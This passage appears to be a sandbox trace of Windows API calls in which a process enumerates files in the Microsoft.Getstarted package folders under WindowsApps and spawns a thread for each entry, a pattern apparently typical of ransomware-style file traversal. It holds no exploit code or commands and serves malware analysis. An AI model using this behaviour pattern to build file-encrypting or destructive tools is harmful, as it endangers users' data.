	[0078.779] FindNextFileW (in: hFindFile=0x2dad0f8, lpFindFileData=0x2dbf128 | out: lpFindFileData=0x2dbf128*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee96925, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7ee96925, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7ee96925, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.779] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.779] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e9840
	[0078.779] wcscpy (in: _Dest=0x47e9840, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe"
	[0078.779] wcscat (in: _Dest=0x47e9840, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.779] wcscat (in: _Dest=0x47e9840, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e9840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c
	[0078.932] FindNextFileW (in: hFindFile=0x2dad0f8, lpFindFileData=0x2dbf128 | out: lpFindFileData=0x2dbf128*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed19195, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab5eb5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7ed19195, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.932] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.932] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x47703c0
	[0078.932] wcscpy (in: _Dest=0x47703c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe"
	[0078.932] wcscat (in: _Dest=0x47703c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.932] wcscat (in: _Dest=0x47703c0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47703c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee0
	[0078.932] FindNextFileW (in: hFindFile=0x2dad0f8, lpFindFileData=0x2dbf128 | out: lpFindFileData=0x2dbf128*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee96925, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7eebcb7e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7eebcb7e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.932] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.932] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea060
	[0078.933] wcscpy (in: _Dest=0x47ea060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe"
	[0078.933] wcscat (in: _Dest=0x47ea060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.933] wcscat (in: _Dest=0x47ea060, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee4
	[0078.933] FindNextFileW (in: hFindFile=0x2dad0f8, lpFindFileData=0x2dbf128 | out: lpFindFileData=0x2dbf128*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad4389d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad4389d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad4389d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.933] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.933] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ebca8
	[0078.933] wcscpy (in: _Dest=0x47ebca8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe"
	[0078.933] wcscat (in: _Dest=0x47ebca8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.933] wcscat (in: _Dest=0x47ebca8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ebca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee8
	[0078.934] FindNextFileW (in: hFindFile=0x2dad0f8, lpFindFileData=0x2dbf128 | out: lpFindFileData=0x2dbf128*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad4389d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad4389d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad4389d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.934] FindClose (in: hFindFile=0x2dad0f8 | out: hFindFile=0x2dad0f8) returned 1
	[0078.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbf128) returned 1
	[0078.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61c60) returned 1
	[0078.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62130) returned 1

Thread:
	id = 272
	os_tid = 0x448

	[0076.796] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7f268
	[0076.796] wcscpy (in: _Dest=0x2d7f268, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0076.796] wcscat (in: _Dest=0x2d7f268, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0076.796] wcscat (in: _Dest=0x2d7f268, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\*"
	[0076.796] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbf390
	[0076.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7eee2de1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbad69af3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad69af3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71280
	[0076.796] wcscmp (_String1=".", _String2=".") returned 0
	[0076.796] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7eee2de1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbad69af3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad69af3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.796] wcscmp (_String1="..", _String2=".") returned 1
	[0076.796] wcscmp (_String1="..", _String2="..") returned 0
	[0076.796] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eee2de1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7eee2de1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7eee2de1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7cf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0076.796] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0076.796] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0076.796] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x47317f0
	[0076.796] wcscpy (in: _Dest=0x47317f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0076.797] wcscat (in: _Dest=0x47317f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0076.797] wcscat (in: _Dest=0x47317f0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47317f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08
	[0077.064] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eee2de1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7eee2de1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7eee2de1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x15b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.064] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.064] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4f489d8
	[0077.065] wcscpy (in: _Dest=0x4f489d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0077.065] wcscat (in: _Dest=0x4f489d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0077.065] wcscat (in: _Dest=0x4f489d8, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f489d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb64
	[0077.065] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ef09035, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab5edb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7ef09035, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0077.065] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0077.065] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0077.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x47c8260
	[0077.066] wcscpy (in: _Dest=0x47c8260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0077.066] wcscat (in: _Dest=0x47c8260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0077.066] wcscat (in: _Dest=0x47c8260, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0077.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47c8260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb68
	[0077.066] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eee2de1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7ef09035, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7ef09035, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2995, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.066] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.066] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4f48b80
	[0077.066] wcscpy (in: _Dest=0x4f48b80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0077.066] wcscat (in: _Dest=0x4f48b80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0077.067] wcscat (in: _Dest=0x4f48b80, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f48b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb6c
	[0077.067] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f2d055d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6bff9c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f8f31a9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.067] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.067] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.067] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61630
	[0077.067] wcscpy (in: _Dest=0x2d61630, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0077.067] wcscat (in: _Dest=0x2d61630, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0077.067] wcscat (in: _Dest=0x2d61630, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets"
	[0077.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d61630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb70
	[0077.068] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f8f31a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f8f31a9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f8f31a9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0077.068] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0077.068] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0077.068] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f8f31a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c0da4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1
	[0077.068] wcscmp (_String1="Content", _String2=".") returned 1
	[0077.068] wcscmp (_String1="Content", _String2="..") returned 1
	[0077.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2dda790
	[0077.068] wcscpy (in: _Dest=0x2dda790, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0077.068] wcscat (in: _Dest=0x2dda790, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0077.068] wcscat (in: _Dest=0x2dda790, _Source="Content" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content"
	[0077.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dda790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb74
	[0077.069] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa28bd5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa28bd5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa28bd5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CPub.BackgroundTasks.winmd", cAlternateFileName="")) returned 1
	[0077.069] wcscmp (_String1="Microsoft.CPub.BackgroundTasks.winmd", _String2=".") returned 1
	[0077.069] wcscmp (_String1="Microsoft.CPub.BackgroundTasks.winmd", _String2="..") returned 1
	[0077.069] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2e34d70
	[0077.069] wcscpy (in: _Dest=0x2e34d70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0077.069] wcscat (in: _Dest=0x2e34d70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0077.069] wcscat (in: _Dest=0x2e34d70, _Source="Microsoft.CPub.BackgroundTasks.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.BackgroundTasks.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.BackgroundTasks.winmd"
	[0077.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e34d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb78
